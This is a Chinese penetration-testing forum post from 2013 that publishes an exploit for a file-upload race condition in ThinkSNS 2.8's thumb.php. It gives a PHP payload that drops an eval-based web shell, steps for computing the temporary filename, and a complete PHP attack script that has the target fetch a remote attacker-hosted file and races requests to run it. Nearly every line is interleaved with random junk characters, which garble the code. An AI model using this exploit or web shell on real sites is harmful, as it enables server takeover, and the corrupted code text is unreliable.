中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
2 I4 I+ s# Z/ P6 s: N存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)! R2 X5 ]( B: j& Z
漏洞文件1 C3 J3 z# w7 Q- Q1 Y: @
存在漏洞的文件为:thumb.php
# m1 C' \+ c7 F作者:韦鲲鹏- P+ B6 U  s% V9 Z7 H% m3 c
1、        准备如下PHP文件并上传到服务器(自己的)。
! |4 e8 k0 H) W$ P, D; S( w, t文件内容如下:0 \) w* q( z! y. H5 x) F5 Y+ K$ v
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' B6 o4 ]# {+ U  C2、        计算出临时的文件名:; f- \  j0 |% Z3 h: U) R* {
这里我们可以看文件的99行(刚刚是不是没注意呀!)。6 z) q, C# I! l, [. y

8 F" f4 |7 A3 N& F% t1 }" g9 l3、        上传临时文件。
  O. i2 X# z! I; o& \( |4、        访问临时文件。3 Z9 S' D# T- I3 m! a2 a
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)) x) ]: a  I4 B6 @0 N) r8 g
Exploit文件内容如下:(这个我就不详细解释了), j: L( H2 i: K" r( l
<?php
+ s, G9 K2 H1 l# A9 C- kerror_reporting(0);
* O  ^  u) s6 }, m8 ?set_time_limit(0);
4 |& D8 C9 M; ~0 m( ~7 fini_set(“default_socket_timeout”, 5);
! u) f- P* w$ Zfunction http_send($host, $port, $headers) {+ M" k2 ]+ d- I. _- b1 N: @
$fp = fsockopen($host, $port);
( y3 F) A& A- K9 R2 @) a  y% [if (!$fp) die(‘Connection -> fail’);
( {- H& q7 e+ C& |6 D0 B! f% }fputs($fp, $headers);
. k# H+ X# ^0 X' q( Q0 r% Z- breturn $fp;0 M+ [, a1 o8 {8 L/ H! N
}( e! y- m. ]* A) E
function http_recv($fp) {
7 ~$ W8 U7 U" X1 X$ret=”";
, M. d) N' W; g- m, @while (!feof($fp))% d! I! {. w- z7 v- [5 j3 E# E$ j
$ret.= fgets($fp, 1024);& `6 n! q' n& w* h
fclose($fp);. i7 T4 w! r7 Y8 s0 |) T
return $ret;( M' V, h; E0 W: v2 ^, b) y
}8 L- z1 b4 S/ l) l" C" y
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
) q& ~1 p% e: [* ?1 V/ n) N+ mprint “# Discovered by 韦鲲鹏 #\n\n”;1 i0 [  k4 L: a+ J5 P9 P9 O
if ($argc < 4) {3 G) e! r/ g% c6 y% B
print “Usage:   php <host> <path> <romote_url>\n”;
0 P% f5 W1 P0 J$ rprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
* p+ T% U' D5 i$ E3 {die();
$ _0 `( Q( U$ v% l- P# q}: s" ~8 p3 [- W* j; o1 U: L7 T3 |- M! i
$host = $argv[1];
9 J6 Y3 c9 z2 H& s, K- ?$path = $argv[2];
$ P( }4 Y+ K" W* N$ ]4 v$url = $argv[3];
/ g( u: p1 W# j- `7 Q2 A% A0 m$i=0;
7 y9 U4 Q+ p& m$ d//上传数据包
$ p" G2 d! j9 S) p$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 g) b; i/ T2 n+ U. @! H$headers_up .= “Host: “.$host.”\r\n”;* f' f5 V7 i0 n+ J1 J
$headers_up .= “Connection: close\r\n\r\n”;
6 @5 P7 W- N! a# H% N& L% V' Xecho $headers_up;3 \6 ^( b, T5 o4 q2 g
//临时文件访问数据包5 R$ ~9 n5 U2 ]* L! n
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;( ]$ T0 u3 O+ y" Q+ F7 X2 G; e
$headers .= “Host: “.$host.”\r\n”;2 g  k: Q6 u0 Q& z9 Y
$headers .= “Connection: close\r\n\r\n”;
- [$ M: T+ y& N+ l* `' G& Z& `echo $headers;
. z9 O& t- X' E- I+ mwhile(++$i<10) {* F- w) [) q$ x9 z$ v
fclose(http_send($host, 80, $headers));* a% {1 y0 I# k6 j' L2 |: {- O
}
. J3 k+ }& U$ D6 T! T6 P  G# Afclose(http_send($host, 80, $headers_up));% o& w1 `; Y9 L( }% z6 x
while(++$i<50) {
; o- }1 S& B3 q; G" m" X+ P- {% pfclose(http_send($host, 80, $headers));+ y  g. c( ?: U+ x
}
; Y: d$ U3 d4 O2 f0 N4 W- Y# k' C. \$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
. F- f/ F; L  S7 b+ f, s$headers .= “Host: “.$host.”\r\n”;
5 K% I; r( l8 Q9 W. s3 |0 @( V* H$headers .= “Connection: close\r\n\r\n”;/ v0 H- l* B: A) Y7 m6 H- Y
$res=http_recv(http_send($host, 80, $headers));8 d' i9 a8 y9 f- C- }3 b6 {5 {
if(preg_match(‘/200 OK/’,$res)) {
1 D% d5 e7 y/ ]  H; Z# Cprint “Success!\n\n”;
9 ^/ S& O* z6 H$ ^& i} else {
  t, m6 W1 z5 D2 _print “Fail!\n\n”;7 A; _1 z. |/ z9 ~
}0 x; C7 c; F- E
?>
% o9 ^; g. V- a




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2